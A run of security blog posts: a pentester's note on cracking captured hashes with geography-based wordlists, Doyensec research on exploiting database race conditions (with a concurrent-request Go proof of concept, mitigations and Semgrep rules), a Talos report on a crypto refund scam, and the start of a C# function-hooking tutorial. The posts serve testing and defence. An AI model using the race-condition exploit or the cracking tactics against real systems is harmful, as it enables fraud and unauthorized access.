Recently adversary academy was on an internal penetration testing engagement. Internally we typically run things like responder to see what kind of hashes are available to collect. Then we pass those hashes off to our hash cracking systems for recovery to plain text. In this particular engagement there are about 200 passwords hashes collected. Using common word lists like “Rockyou” and the “realunique” list in addition to effective Hashcat rulesets some initial access was gained. However the accounts that were cracked were somewhat limited in terms of their access and privilege levels.

After having limited success with common wordlists and rulesets I turned to developing custom rulesets based on things people like in the geographic area that our client was based.

I compiled a list of popular cities, towns, activities, hobbies, sports teams and entertainment found in the geographic area in which our client was based. With a relatively small word list I saw a 33% increase in the number of cracked accounts. Those additional cracked accounts offered further access into the client environment.

Thanks for the credentials!

With the additional access and success of the custom dictionaries I will be incorporating these types of geographic specific dictionaries for all future on site engagements for the following reasons:

  • Personal Relevance: People often use words related to their personal lives, including their hometown, places they have visited, or local landmarks. Geographic-specific words can increase the likelihood of guessing these personal passwords.
  • Local Knowledge: If the attacker knows the victim’s location, using local words can significantly narrow down the pool of potential passwords, improving the efficiency of the attack.
  • Predictable Patterns: People tend to create passwords using patterns that are easy to remember. This might include the names of local streets, cities, or landmarks. An attacker familiar with the local geography can exploit these predictable patterns.
  • Publicly Available Information: Geographic information about an individual can often be gleaned from social media, public records, or online profiles. This data can be used to inform and refine password cracking strategies.

If any internal or external teams attempt password cracking for either Kerberoastable accounts or credentials that have been collected through responder I'd suggest creating custom dictionaries in order to gain further access to your target environment..

A Race to the Bottom - Database Transactions Undermining Your AppSec

10 July 2024 at 22:00

Introduction

Databases are a crucial part of any modern application. Like any external dependency, they introduce additional complexity for the developers building an application. In the real world, however, they are usually considered and used as a black box which provides storage functionality.

This post aims shed light on a particular aspect of the complexity databases introduce which is often overlooked by developers, namely concurrency control. The best way to do that is to start off by looking at a fairly common code pattern we at Doyensec see in our day-to-day work:

func (db *Db) Transfer(source int, destination int, amount int) error {
  ctx := context.Background()

  conn, err := pgx.Connect(ctx, db.databaseUrl)
  defer conn.Close(ctx)

  // (1)
  tx, err := conn.BeginTx(ctx)

  var user User
  // (2)
  err = conn.
    QueryRow(ctx, "SELECT id, name, balance FROM users WHERE id = $1", source).
    Scan(&user.Id, &user.Name, &user.Balance)

  // (3)
  if amount <= 0 || amount > user.Balance {
    tx.Rollback(ctx)
    return fmt.Errorf("invalid transfer")
  }

  // (4)
  _, err = conn.Exec(ctx, "UPDATE users SET balance = balance - $2 WHERE id = $1", source, amount)
  _, err = conn.Exec(ctx, "UPDATE users SET balance = balance + $2 WHERE id = $1", destination, amount)

  // (5)
  err = tx.Commit(ctx)
  return nil
}

Note: All error checking has been removed for clarity.

For the readers not familiar with Go, here’s a short summary of what the code is doing. We can assume that the application will initially perform authentication and authorization on the incoming HTTP request. When all required checks have passed, the db.Transfer function handling the database logic will be called. At this point the application will:

  1. 1. Establish a new database transactions

  2. 2. Read the source account’s balance

  3. 3. Verify that the transfer amount is valid with regard to the source account’s balance and the application’s business rules

  4. 4. Update the source and destination accounts’ balances appropriately

  5. 5. Commit the database transaction

A transfer can be made by making a request to the /transfer endpoint, like so:

POST /transfer HTTP/1.1
Host: localhost:9009
Content-Type: application/json
Content-Length: 31

{
    "source":1,
    "destination":2,
    "amount":50
}

We specify the source and destination account IDs, and the amount to be transferred between them. The full source code, and other sample apps developed for this research can be found in our playground repo.

Before continuing reading, take a minute and review the code to see if you can spot any issues.

Notice anything? At first look, the implementation seems correct. Sufficient input validation, bounds and balance checks are performed, no possibility of SQL injection, etc. We can also verify this by running the application and making a few requests. We’ll see that transfers are being accepted until the source account’s balance reaches zero, at which point the application will start returning errors for all subsequent requests.

Fair enough. Now, let’s try some more dynamic testing. Using the following Go script, let us try and make 10 concurrent requests to the /transfer endpoint. We’d expect that two request will be accepted (two transfers of 50 with an initial balance of 100) and the rest will be rejected.

func transfer() {
	client := &http.Client{}

	body := transferReq{
		From:   1,
		To:     2,
		Amount: 50,
	}
	bodyBuffer := new(bytes.Buffer)
	json.NewEncoder(bodyBuffer).Encode(body)

	req, err := http.NewRequest("POST", "http://localhost:9009/transfer", bodyBuffer)
	if err != nil {
		panic(err)
	}
	req.Header.Add("Content-Type", `application/json`)
	resp, err := client.Do(req)
	if err != nil {
		panic(err)
	} else if _, err := io.Copy(os.Stdout, resp.Body); err != nil {
		panic(err)
	}
	fmt.Printf(" / status code => %v\n", resp.StatusCode)
}

func main() {
	for i := 0; i < 10; i++ {
		// run transfer as a goroutine
		go transfer()
	}
	time.Sleep(time.Second * 2)
	fmt.Printf("done.\n")
}

However, running the script we see something different. We see that almost all, if not all, of the request were accepted and successfully processed by the application server. Viewing the balance of both accounts with the /dump endpoint will show that the source account has a negative balance.

We have managed to overdraw our account, effectively making money out of thin air! At this point, any person would be asking “why?” and “how?”. To answer them, we first need to take a detour and talk about databases.

Database Transactions and Isolation Levels

Transactions are a way to define a logical unit of work within a database context. Transactions consist of multiple database operations which need to be successfully executed, for the unit to be considered complete. Any failure would result in the transaction being reverted, at which point the developer needs to decide whether to accept the failure or retry the operation. Transactions are a way to ensure ACID properties for database operations. While all properties are important to ensure data correctness and safety, for this post we’re only interested in the “I” or Isolation.

In short, Isolation defines the level to which concurrent transactions will be isolated from each other. This ensures they always operate on correct data and don’t leave the database in an inconsistent state. Isolation is a property which is directly controllable by developers. The ANSI SQL-92 standard defines four isolation levels, which we will take a look at in more detail later onm, but first we need to understand why we need them.

Why Do We Need Isolation?

The isolation levels are introduced to eliminate read phenomena or unexpected behaviors, which can be observed when concurrent transactions are being performed on the set of data. The best way to understand them is with a short example, graciously borrowed from Wikipedia.

Dirty Reads

Dirty reads allow transactions to read uncommitted changes made by concurrent transactions.

-- tx1
BEGIN;
SELECT age FROM users WHERE id = 1; -- age = 20 
-- tx2
BEGIN;
UPDATE users SET age = 21 WHERE id = 1;
-- tx1
SELECT age FROM users WHERE id = 1; -- age = 21 
-- tx2
ROLLBACK; -- the second read by tx1 is reverted

Non-Repeatable Reads

Non-repeatable reads allow sequential SELECT operations to return different results as a result of concurrent transactions modifying the same table entry.

-- tx1
BEGIN;
SELECT age FROM users WHERE id = 1; -- age = 20 
-- tx2
UPDATE users SET age = 21 WHERE id = 1;
COMMIT;
-- tx2
SELECT age FROM users WHERE id = 1; -- age = 21

Phantom Reads

Phantom reads allow sequential SELECT operations on a set of entries to return different results due to modifications done by concurrent transactions.

-- tx1
BEGIN;
SELECT name FROM users WHERE age > 17; -- returns [Alice, Bob]
-- tx2
BEGIN;
INSERT INTO users VALUES (3, 'Eve', 26);
COMMIT;
-- tx1
SELECT name FROM users WHERE age > 17; -- returns [Alice, Bob, Eve]

In addition the phenomena defined in the standard, behaviors such as “Read Skews”, “Write Skews” and “Lost Updates” can be observed in the real world.

Lost Updates

Lost updates occur when concurrent transactions perform an update on the same entry.

-- tx1
BEGIN;
SELECT * FROM users WHERE id = 1;
-- tx2
BEGIN;
SELECT * FROM users WHERE id = 1;
UPDATE users SET name = 'alice' WHERE id = 1;
COMMIT; -- name set to 'alice'
-- tx1
UPDATE users SET name = 'bob' WHERE id = 1;
COMMIT; -- name set to 'bob'

This execution flow results in the change performed by tx2 to be overwritten by tx1.

Read and write skews usually arise when the operations are performed on two or more entries that have a foreign-key relationship. The examples below assume that the database contains two tables: a users table which stores information about a particular user, and a change_log table which stores information about the user who performed the latest change of the target user’s name column:

CREATE TABLE users(
  id INT PRIMARY KEY NOT NULL, 
  name TEXT NOT NULL
);

CREATE TABLE change_log(
  id INT PRIMARY KEY NOT NULL, 
  updated_by VARCHAR NOT NULL, 
  user_id INT NOT NULL,
  CONSTRAINT user_fk FOREIGN KEY (user_id) REFERENCES users(id)
);

Read Skews

If we assume that we have the following sequence of execution:

-- tx1
BEGIN;
SELECT * FROM users WHERE id = 1; -- returns 'old_name'
-- tx2
BEGIN;
UPDATE users SET name = 'new_name' WHERE id = 1;
UPDATE change_logs SET updated_by = 'Bob' WHERE user_id = 1;
COMMIT;
-- tx1
SELECT * FROM change_logs WHERE user_id = 1; -- return Bob

the view of tx1 transaction is that the user Bob performed tha last change on the user with ID: 1, setting their name to old_name.

Write Skews

In the sequence of operations shown below, tx1 will perform its update under the assumption that the user’s name is Alice and there were no prior changes on the name.

-- tx1
BEGIN;
SELECT * FROM users WHERE id = 1; -- returns Alice
SELECT * FROM change_logs WHERE user_id = 1; -- returns an empty set
-- tx2
BEGIN;
SELECT * FROM users WHERE id = 1; 
UPDATE users SET name = 'Bob' WHERE id = 1; -- new name set
COMMIT;
-- tx1
UPDATE users SET name = 'Eve' WHERE id = 1; -- new name set
COMMIT;

However, tx2 performed its changes before tx1 was able to complete. This results in tx1 performing an update based on state which was changed during its execution.

Isolation levels are designed to guard against zero or more of these read phenomena. Let’s look at the them is more detail.

Read Uncommitted

Read Uncommitted (RU) is the lowest isolation level provided. At this level, all phenomena discussed above can be observed, including reading uncommitted data, as the name suggests. While transactions using this isolation level can result in higher throughput in highly concurrent environments, it does mean that concurrent transactions will likely operate with inconsistent data. From a security standpoint, this is not a desirable property of any business-critical operation.

Thankfully, this it not a default in any database engine, and needs to be explicitly set by developers when a creating a new transaction.

Read Committed

Read Committed (RC) builds on top of the previous level’s guarantee and completely prevents dirty reads. However, it does allow other transactions to modify, insert, or delete data between individual operations of the running transaction, which can result in non-repeatable and phantom reads.

Read Committed is the default isolation level in most database engines. MySQL is an outlier here.

Repeatable Read

In similar fashion, Repeatable Read (RR) improves the previous isolation level, while adding a guarantee that non-repeatable reads will also be prevented. The transaction will view only data which was committed at the start of the transactions. Phantom reads can still be observed at this level.

Serializable

Finally, we have the Serializable (S) isolation level. The highest level is designed to prevent all read phenomena. The result of concurrently executing multiple transactions with Serializable isolation will be equivalent to them being executed in serial order.

Data Races and Race Conditions

Now that we have that covered, let’s circle back to the original example. If we assume that the example was using Postgres and we’re not explicitly setting the isolation level, we’ll be using the Postgres default: Read Committed. This setting will protect us from dirty reads, and phantom or non-repeatable reads are not a concern, since we’re not performing multiple reads within the transaction.

The main reason why our example is vulnerable boils down to concurrent transaction execution and insufficient concurrency control. We can enable database logging to easily see what is being executed on the database level when our example application is being exploited.

Pulling the logs for our example, we can see something similar to:

 1. [TX1] LOG:  BEGIN ISOLATION LEVEL READ COMMITTED
 2. [TX2] LOG:  BEGIN ISOLATION LEVEL READ COMMITTED
 3. [TX1] LOG:  SELECT id, name, balance FROM users WHERE id = 2
 4. [TX2] LOG:  SELECT id, name, balance FROM users WHERE id = 2
 5. [TX1] LOG:  UPDATE users SET balance = balance - 50 WHERE id = 2
 6. [TX2] LOG:  UPDATE users SET balance = balance - 50 WHERE id = 2
 7. [TX1] LOG:  UPDATE users SET balance = balance + 50 WHERE id = 1
 8. [TX1] LOG:  COMMIT
 9. [TX2] LOG:  UPDATE users SET balance = balance + 50 WHERE id = 1
10. [TX2] LOG:  COMMIT

What we initially notice is that the individual operations of a single transaction are not executed as a single unit. Their individual operations are interweaved, contradicting how the initial transaction definition described them (i.e., a single unit of execution). This interweaving occurs as a result of transactions being executed concurrently.

Concurrent Transaction Execution

Databases are designed to execute their incoming workload concurrently. This results in an increased throughput and ultimately a more performant system. While implementation details can vary between different database vendors, at a high level concurrent execution is implemented using “workers”. Databases define a set of workers whose job is to execute all transactions assigned to them by a component usually named “scheduler”. The workers are independent of each other and can be conceptually thought of as application threads. Like application threads, they are subject to context switching, meaning that they can be interrupted mid-execution, allowing other workers to perform their work. As a result we can end up having partial transaction execution, resulting in the interweaved operations we saw in the log output above. As with multithreaded application code, without proper concurrency control, we run the risk of encountering data races and race conditions.

Going back to the database logs, we can also see that both transactions are trying to perform an update on the same entry, one after the other (lines #5 and #6). Such concurrent modification will be prevented by the database by setting a lock on the modified entry, protecting the change until the transaction that made the change completes or fails. Databases vendors are free to implement any number of different lock types, but most of them can be simplified to two types: shared and exclusive locks.

Shared (or read) locks are acquired on table entries read from the database. They are not mutually exclusive, meaning multiple transactions can hold a shared lock on the same entry.

Exclusive (or write) locks, as the name suggests are exclusive. Acquired when a write/update operation is performed, only one lock of this type can be active per table entry. This helps prevent concurrent changes on the same entry.

Database vendors provide a simple way to query active locks at any time of the transactions execution, given you can pause it or are executing it manually. In Postgres for example, the following query will show the active locks:

SELECT locktype, relation::regclass, mode, transactionid AS tid, virtualtransaction AS vtid, pid, granted, waitstart FROM pg_catalog.pg_locks l LEFT JOIN pg_catalog.pg_database db ON db.oid = l.database WHERE (db.datname = '<db_name>' OR db.datname IS NULL) AND NOT pid = pg_backend_pid() ORDER BY pid;

A similar query can be used for MySQL:

SELECT thread_id, lock_data, lock_type, lock_mode, lock_status FROM performance_schema.data_locks WHERE object_name = '<db_name>';

For other database vendors refer to the appropriate documentation.

Root Cause

The isolation level used in our example (Read Committed) will not place any locks when data is being read from the database. This means that only the write operations will be placing locks on the modified entries. If we visualize this, our issue becomes clear:

Transaction's Critical Section

The lack of locking on the SELECT operation allows for concurrent access to a shared resource. This introduces a TOCTOU (time-of-check, time-of-use) issue, leading to an exploitable race condition. Even though the issue is not visible in the application code itself, it becomes obvious in the database logs.

Applying Theory in Practice

Different code patterns can allow for different exploit scenarios. For our particular example, the main difference will be how the new application state is calculated, or more specifically, which values are used in the calculation.

Pattern #1 - Current Database State

In the original example, we can see that the new balance calculations will happen on the database server. This is due to how the UPDATE operation is structured. It containins a simple addition/subtraction operation, which will be calculated by the database using the current value of the balance column at time of execution. Putting it all together, we end up with an execution flow shown on the graph below.

Vulnerable Pattern #1

Using the database’s default isolation level, the SELECT operation will be executed before any locks are created and the same entry will be returned to the application code. The transaction which gets its first UPDATE to execute, will enter the critical section and will be allowed to execute its remaining operations and commit. During that time, all other transactions will hang and wait for the lock to be released. By committing its changes, the first transaction will change the state of the database, effectively breaking the assumption under which the waiting transaction was initiated on. When the second transaction executes its UPDATEs, the calculations will be performed on the updated values, leaving the application in an incorrect state.

Pattern #2 - Calculations Using Stale Values

Working with stale values happens when the application code reads the current state of the database entry, performs the required calculations at the application layer and uses the newly calculated value in an UPDATE operation. We can perform a simple refactoring to our initial example and move the “new value” calculation to the application layer.

func (db *Db) Transfer(source int, destination int, amount int) error {
  ctx := context.Background()
  conn, err := pgx.Connect(ctx, db.databaseUrl)
  defer conn.Close(ctx)

  tx, err := conn.BeginTx(ctx)

  var userSrc User
  err = conn.
    QueryRow(ctx, "SELECT id, name, balance FROM users WHERE id = $1", source).
    Scan(&userSrc.Id, &userSrc.Name, &userSrc.Balance)

  var userDest User
  err = conn.
    QueryRow(ctx, "SELECT id, name, balance FROM users WHERE id = $1", destination).
    Scan(&userDest.Id, &userDest.Name, &userDest.Balance)

  if amount <= 0 || amount > userSrc.Balance {
    tx.Rollback(ctx)
    return fmt.Errorf("invalid transfer")
  }

  // note: balance calculations moved to the application layer
  newSrcBalance := userSrc.Balance - amount
  newDestBalance := userDest.Balance + amount

  _, err = conn.Exec(ctx, "UPDATE users SET balance = $2 WHERE id = $1", source, newSrcBalance)
  _, err = conn.Exec(ctx, "UPDATE users SET balance = $2 WHERE id = $1", destination, newDestBalance)

  err = tx.Commit(ctx)
  return nil
}

If two or more concurrent requests call the db.Transfer function at the same time, there is a high probability that the initial SELECT will be executed before any locks are created. All function calls will read the same value from the database. The amount verification will pass successfully and the new balances will be calculated. Let’s see how does this scenario affect out database state if we run the previous test case:

Vulnerable Pattern #2

At first glance, the database state doesn’t show any inconsistencies. That is because both transactions preformed their amount calculation based on the same state and both executed UPDATE operations with the same amounts. Even though the database state was not corrupted, it’s worth bearing in mind that we were able to execute the transaction more times that what the business logic should allow. Let’s take an application was built in using a microservice architecture, with the following business logic:

Vulnerable Pattern #2 - Microservice Application

If Service T assumes that all incoming requests from the main application are valid and does not perform any additional validation itself, we end up exploiting the business logic and making the call to the downstream Service T multiple times.

This pattern can also be (ab)used to corrupt the database state. Namely, we can perform multiple transfers from the source account to different destination accounts.

Vulnerable Pattern #2.1

With this exploit, both concurrent transactions will initially see a source balance of 100, which will pass the amount verification.

Exploitation in the Real World

If you run the sample application locally, with a database running on the same machine, you will likely see that most, if not all, of the requests made to the /transfer endpoint will be accepted by the application server. The low latency between client, application server and database server allow all requests to hit the race window and successfully commit. However, real-world application deployments are much more complex, running in cloud environments, deployed using Kubernetes clusters, placed behind reverse proxies and protected by firewalls.

We were curious to see how difficult is to hit the race window in a real-world context. To test that we set up a simple application, deployed in an AWS Fargate container, alongside another container running the selected database.

Testing was focused on three databases: Postgres, MySQL and MariaDB.

The application logic was implemented using two programming languages: Go and Node. These languages were chosen to allow us to see how their different concurrency models (Go’s goroutines vs. Node’s event loop) impact exploitability.

Finally, we specified three techniques of attacking the application:

  1. 1. simple multi-threaded loop

  2. 2. last-byte sync for HTTP/1.1

  3. 3. single packet attacks for HTTP/2.0

All of these were performed using BurpSuite’s extensions: “Intruder” for (1) and “Turbo Intruder” for (2) and (3).

Using this setup, we attacked the application by performing 20 requests using 10 threads/connections, transferring an amount of 50 from Bob (account ID 2 with a starting balance of 200) to Alice. Once the attack was done, we noted the number of accepted requests. Given a non-vulnerable application, there shouldn’t be more than 4 accepted requests.

This was performed 10 times, for each combination of application/database/attack method. The number of successfully processed requests was noted. From those numbers we conclude if a specific isolation level is exploitable or not. Those results can be found here.

Results and Observations

Our testing showed that if this pattern is present in an application, it is very likely that it can be exploited. In all cases, except for the Serializable level, we were able to exceed the expected number of accepted requests, overdrawing the account. The number of accepted requests varies between different technologies, but the fact that we were able to exceed it (and in some cases, to a significant degree) is sufficient to demonstrate the exploitability of the issue.

If an attacker is able to get a large number of request to the server in the same instant, effectively creating conditions of a local access, the number of accepted requests jumps up by a significant amount. So, to maximize the possibility of hitting the race window, testers should prefer methods such as last-byte sync or the single packet attack.

One outlier is Postgres’ Repeatable Read level. The reason it’s not vulnerable is that it implements an isolation level called Snapshot Isolation. The guarantees provided by this isolation level sit between Repeatable Read and Serializable, ultimately providing sufficient protection and mitigating the race conditions for our example.

The languages concurrency modes did not have any notable impact on the exploitability of the race condition.

Mitigation

On a conceptual level, the fix only requires the start of the critical section to be moved to the beginning of the transaction. This will ensure that the transaction which first reads the entry gets exclusive access to it and is the only one allowed to commit. All others will wait for its completion.

Mitigation can be implemented in a number of ways. Some of them require manual work, while others come out of the box, provided by the database of choice. Let’s start by looking at the simplest and generally preferred way: setting the transaction isolation level to Serializable.

As mentioned before, the isolation level is a user/developer controlled property of a database transaction. It can be set by simply specifying it when creating a transaction:

BEGIN TRANSACTION SET TRANSACTION ISOLATION LEVEL SERIALIZABLE

This may slightly vary from database to database, so it’s always best to consult the appropriate documentation. Usually ORMs or database drivers provide an application level interface for setting the desired isolation level. Postgres’ Go driver pgx allows users to do the following:

tx, err := conn.BeginTx(ctx, pgx.TxOptions{IsoLevel: pgx.Serializable})

It is worth noting that Serizalizable, being the highest isolation level, may have an impact of the performance of your application. However, its use can be limited to only the business-critical transaction. All other transactions can remain unchanged and be executed with the database’s default isolation level.

One alternative to this method is implementing pessimistic locking via manual locking. The idea behind this method is that the business-critical transaction will obtain all required locks at the beginning and only release them when the transaction completes or fails. This ensures that no other concurrently executing transaction will be able to interfere. Manual locking can be performed by specifying the FOR SHARE or FOR UPDATE options your SELECT operations:

SELECT id, name, balance FROM users WHERE id = 1 FOR UPDATE

This will instruct the database to place a shared or exclusive lock, respectively, to all entries returned by the read operation, effectively disallowing any modification to it until the lock is released. This method can, however, be error prone. There is always a possibility that other operations may get overlooked or new ones will be added without the FOR SHARE / FOR UPDATE option, potentially re-introducing the race condition. Additionally, scenarios such as the one shown below, may be possible at lower isolation levels.

Lost Update

The graph shows a scenario where we perform validation based on a value which becomes stale after Tx1 commits and ends up overwriting the update performed by Tx1, leading to a “Lost Update”.

Finally, mitigation can also be implemented using optimistic locking. The conceptual opposite of pessimistic locking, optimistic locking expects that nothing will go wrong and only performs conflict detection at the end of the transaction. If a conflict is detected (i.e., underlining data was modified by a concurrent transaction), the transaction will fail and will need to be retried. This method is usually implemented using a logic clock, or a table column, whose value must be the same during the execution of the transaction.

The simplest way to implement this is by introducing a version column in your table:

CREATE TABLE users(
  id INT PRIMARY KEY NOT NULL AUTO_INCREMENT, 
  name TEXT NOT NULL, 
  balance INT NOT NULL,
  version INT NOT NULL AUTO_INCREMENT
);

The value of the version column must then be always verified when performing any write/update operations to the database. If the value changed, the operation will fail, failing the entire transaction.

UPDATE users SET balance = 100 WHERE id = 1 AND version = <last_seen_version>

Detection

If the application uses an ORM, setting the isolation level would usually entails calling a setter function, or supplying it as a function parameter. On the other hand, if the application constructs database transactions using raw SQL statements, the isolation level will be supplied as part of the transaction’s BEGIN statement.

Both those methods represent a pattern which can be search for using tools such as Semgrep. So, if we assume that our application is build using Go and uses the pgx to access to data stored in a Postgres database, we can use the following Semgrep rules to detect instances of unspecified isolation levels.

1. Raw SQL Transaction

rules:
  - id: pgx-tx-missing-options
    message: "SQL transaction without isolation level"
    languages:
      - go
    severity: WARNING
    patterns:
      - pattern: $CONN.Exec($CTX, $BEGIN)
      - metavariable-regex:
          metavariable: $BEGIN
          regex: ("begin transaction"|"BEGIN TRANSACTION")

2. Missing pgx Transaction Creation Options

rules:
  - id: pgx-tx-missing-options
    message: "Postgres transaction options not set"
    languages:
      - go
    severity: WARNING
    patterns:
      - pattern: $CONN.BeginTx($CTX)

3. Missing Isolation Level in pgq Transaction Creation Options

rules:
  - id: pgx-tx-missing-isolation
    message: "Postgres transaction isolation level not set"
    languages:
      - go
    severity: WARNING
    patterns:
      - pattern: $CONN.BeginTx($CTX, $OPTS)
      - metavariable-pattern:
          metavariable: $OPTS
          patterns:
            - pattern-not: >
                $PGX.TxOptions{..., IsoLevel:$LVL, ...}

All these patterns can be easily modified to suit you tech-stack and database of choice.

It’s important to note that patterns like this are not a complete solution. Integrating them blindly integrating them into an existing pipeline would result in a lot of noise. We would rather recommend using them to build an inventory of all transactions the application performs, and use that information as a starting point to review the application and apply hardening if they are required.

Closing Thoughts

To finish up, we should emphasize that this is not a bug in database engines. This is part of how isolation levels were designed and implemented and it is clearly described in both the SQL specification and dedicated documentation for each database. Transactions and isolation levels were designed to protect concurrent operations from interfering with each other. Mitigations against data races, however, are not their primary use case. Unfortunately, we found that this is a common misconception.

While usage of transactions will help guard the application from data corruptions under normal circumstances, it is not sufficient to mitigate data races. When this insecure pattern is introduced in business-critical code (account management functionality, financial transactions, discount code application, etc.), the likelihood of it being exploited is high. For that reason, review your application’s business-critical operations and verify that they are doing proper data locking.

Resources

This research was presented by Viktor Chuchurski (@viktorot) at the 2024 OWASP Global AppSec conference in Lisbon. You can find the presentation slides here.

Playground code can be found on Doyensec’s GitHub.

More information

If you would like to learn more about our other research, check out our blog, follow us on X (@doyensec) or feel free to contact us at [email protected] for more information on how we can help your organization “Build with Security”.

Appendix - Testing Results

The table below shows which isolation level allowed race condition to happen for the databases we tested as part of our research.

RU RC RR S
MySQL Y Y Y N
Postgres Y Y N N
MariaDB Y Y Y N

Impact of data breaches is fueling scam campaigns

11 July 2024 at 10:00
  • Data breaches have become one of the most crucial threats to organizations across the globe, and they’ve only become more prevalent and serious over time.  
  • A data breach occurs when unauthorized individuals gain access to sensitive, protected or confidential data. This stolen data can include personal information, financial records, intellectual property, and other critical information.  
  • Stolen data is a valuable commodity in the cybercriminal world and, once acquired through data breaches, is often sold on underground markets.  
  • A recent cryptocurrency-related scam Cisco Talos discovered highlights how data breaches are being increasingly leveraged in these types of campaigns, preying on targets’ fears around their information being out in the wild. 
Impact of data breaches is fueling scam campaigns

Over the years, data breaches have played a pivotal role in facilitating various forms of cyber-attacks.  Adversaries are leveraging on stolen data to execute more sophisticated and damaging attacks to materialize their malicious intents. The significance of data breaches extends far beyond the immediate loss of data with the implications for security, reputation and financial stability of individuals and organizations. 

Active scam campaign likely leveraging on stolen data  

Cisco Talos observed an ongoing cryptocurrency heist scam since as early as January 2024, leveraging hybrid social engineering techniques such as vishing and spear phishing, impersonating individuals and legitimate authorities to compromise the victims by psychologically manipulating their trust with social skills.  

Impersonating investigation officers of CySEC (Cyprus Securities and Exchange Commission), the scammers in this campaign are using a lure theme of refunding a fake seized amount from a fraudulent trading activity in Opteck trading platform to compromise the victims. 

Opteck is a trading platform founded in 2011 and provides binary options trading solutions for its customers. In 2017, Opteck’s database was sold on raidforums by adversaries and even today, we still see users’ Opteck login credentials being sold on Russian dark markets, indicating the likelihood of a data breach. That same year, CySEC (Cyprus Securities and Exchange Commission) flagged Opteck as non-complaint and had suspended its license until they took action to rectify the issues. The scammers are likely leveraging the stolen data in the dark web and the news to create a more convincing lure for this campaign. 

CySEC issued other warnings in November 2022 that fraudsters are impersonating their officers and making fake offers to assist investors with compensation claims for the dealings that they may have had with the sanctioned firms.   

Since January 2024, Talos has been observing that the scammer, impersonating certified investigation officers of CySEC, is attempting to contact a potential victim who is or was once a user of the Opteck trading platform. The scammers, after getting connected to a potential victim over the phone, introduces them as the investigation officers of CySEC, confirming that the potential victim was once an Opteck trading platform user. Then, they attempt to get the potential victim into a conversation, explaining a fake story of a fraudulent activity that Opteck was involved in and misusing potential victim’s cryptocurrency investments. The scammer also tried to assure the potential victims that their phone call was for refunding an amount they had seized, claiming that the amount belongs to the potential victim. 

To convince the victims, scammers send an email impersonating the identities of the CySEC officers by misusing the CySEC investigating officers’ names in the CySEC’s Public Register of Certified Persons documentation from CySEC official website.  In one instance, the scammer had created a fake business card and embedded it in the phishing email to make the phishing email appear legitimate.  

Impact of data breaches is fueling scam campaigns
Sample 1 of the phishing email. 
Impact of data breaches is fueling scam campaigns
Sample 2 of the phishing email.

Upon compromising the victim and gaining their confidence, the scammer sends another email asking the victims’ bank statement as part of regulatory compliance verifications.  

Impact of data breaches is fueling scam campaigns
Phishing email sample 3.

They will also send a follow-up email to the victim, explaining the fake refund process that includes an identity verification stage and after that they will engage the victims in a 20-minute telephonic conversation and assisting them in withdrawing funds.  

Impact of data breaches is fueling scam campaigns
Phishing email sample 4.

We observed that when a victim engages in a phone conversation with the scammer, first they will create a cryptocurrency wallet in the Coinbase platform and send the wallet ID to the victim, assuring that they will give him 816 USDT as a wallet activation amount, which will be available 12 hours after activation.  

In case of any errors performed by a victim, the scammer demands the victim transfer some specified ETH to another cryptocurrency wallet ID belonging to the scammer, which they are calling an AML wallet in this campaign. They also advise the victims that a representative from Coinbase would contact them. 

By impersonating a Coinbase representative, the scammer advises the victim to pay them 10% of the fake refund amount as Coinbase legal insurance fees to their so-called AML wallet in USDT or ETH.  When a victim agrees and pays the insurance fees, the scammer again demands the victim pay another amount as part of a negotiation process for another wallet ID in ETH, assuring that the victims will get 50% of the fake refund amount to their Coinbase wallet.  

Finally, when a victim agrees and pays the negotiation amount with an intention to get the fake refund into the Coinbase wallet, the scammer continues the conversation by advising the victims to wait for the funds get transferred, which never actually happens, leading to the theft of victim's cryptocurrencies. 

Scammer’s efforts seemed lucrative  

The campaign seemed lucrative till date according to the scammer's cryptocurrency wallets transactions and balances. We found four Ethereum wallets addresses that they have used to steal the victim’s cryptocurrency based on our analysis of the phishing emails.  

Analyzing the transactions of scammer’s wallets in blockchain we discovered that the transaction volume and Ethereum received during the campaign period is equivalent to several thousands of USD.  

Wallet address 

Approximate ETH equivalent in USD 

0xdAd61Dd932f3D3B1E38BB5c1a2766901487B6B1e 

$1.2K 

0x9f24ed5587424f50a4bb1d57a03914c2b5215ae2 

$12K 

0xdAD9C378Bc0Eb7Ee17F92770a64eC80eef32caE2 

$90K 

0xdC9060786AA19977Aa0AdbDa247437682B324D2a 

$3.5K 

Talos also observed that scammers have multi-chain portfolios that allow them to spread their stolen cryptocurrency assets across multiple blockchain networks.  

Impact of data breaches is fueling scam campaigns
A sample showing routing of stolen cryptocurrency funds.

Scammer’s phishing infrastructure 

Impact of data breaches is fueling scam campaigns

The scammer in this campaign has used several domains that resemble the legitimate domain of CySEC “cysec.gov.cy” as the phishing domains created in Sarek, a domain registration service provider.  

The phishing domains’ name server (NS) and start of authority (SOA) records were configured to point to the domain name servers of njalla, a “privacy as a service” provider.  

The mail exchange (MX) records of the domains were configured with the mail servers on mail.protection.outlook.com, indicating that the phishing emails are routed through Microsoft’s email protection services.  

The text records for the domains indicates that the actor’s mail server includes the SPF (Sender Policy Framework) rules defined by “spf.protection.outlook.com,” meaning that any IP addresses allowed by Microsoft’s Outlook protection service are also allowed to send emails on behalf of the actor’s domain. We also observed a few ms=msXXXXXXXX values defined in the TXT records. The ms record is usually used for the domain validation procedure by Microsoft Office 365 and its existence indicates a rightful owner of the domain. The actor is using these values to likely validate their phishing domains in Microsoft office 365. 

Security awareness, a mainstay in effective cybersecurity 

Humans are considered as the weakest link or a low hanging fruit by the adversaries, as they attempt to trick them with various social engineering techniques, very often to gain access to their environment or perform fraudulent financial activities. And the significance of data breaches is facilitating the adversaries in their scam campaigns providing them the information needed to execute fraudulent activities, causing extensive financial, reputational, and psychological damage to individuals and organizations.  

So, creating security awareness in public is a preliminary responsibility of the organizations and security community. It empowers individuals to protect themselves and supports organizational security efforts. By fostering a culture of security awareness, the risks associated with data breaches and scam campaigns can be reduced. 

Implementing a native function detour in C#

11 July 2024 at 07:06

A few weeks ago I published Detours.Win32Metadata Nuget package containing a Win32 metadata for the detours library. When you combine it with CsWin32, you may easily generate PInvoke signatures for functions exported by the Detours library. Adding NativeAOT compilation, we are ready to implement a native function hook in C# and activate it in a remote process. In this post, we will create an example WriteFile WinAPI function hook. The full source code of the project resides in the detours-native-aot folder in my blog samples repository.

Implementing the hook DLL

We start by installing the required packages: Detours.Win32Metadata and Microsoft.Windows.CsWin32. Next, in the NativeMethods.txt file, we specify which PInvoke signatures we will use. In our sample hook, the list is not that long:

// Win32 functions
CreateFile
GetCurrentThread
GetModuleHandle
WriteFile

// Detours functions
DetourRestoreAfterWith
DetourUpdateThread
DetourAttach
DetourDetach
DetourTransactionBegin
DetourTransactionCommit
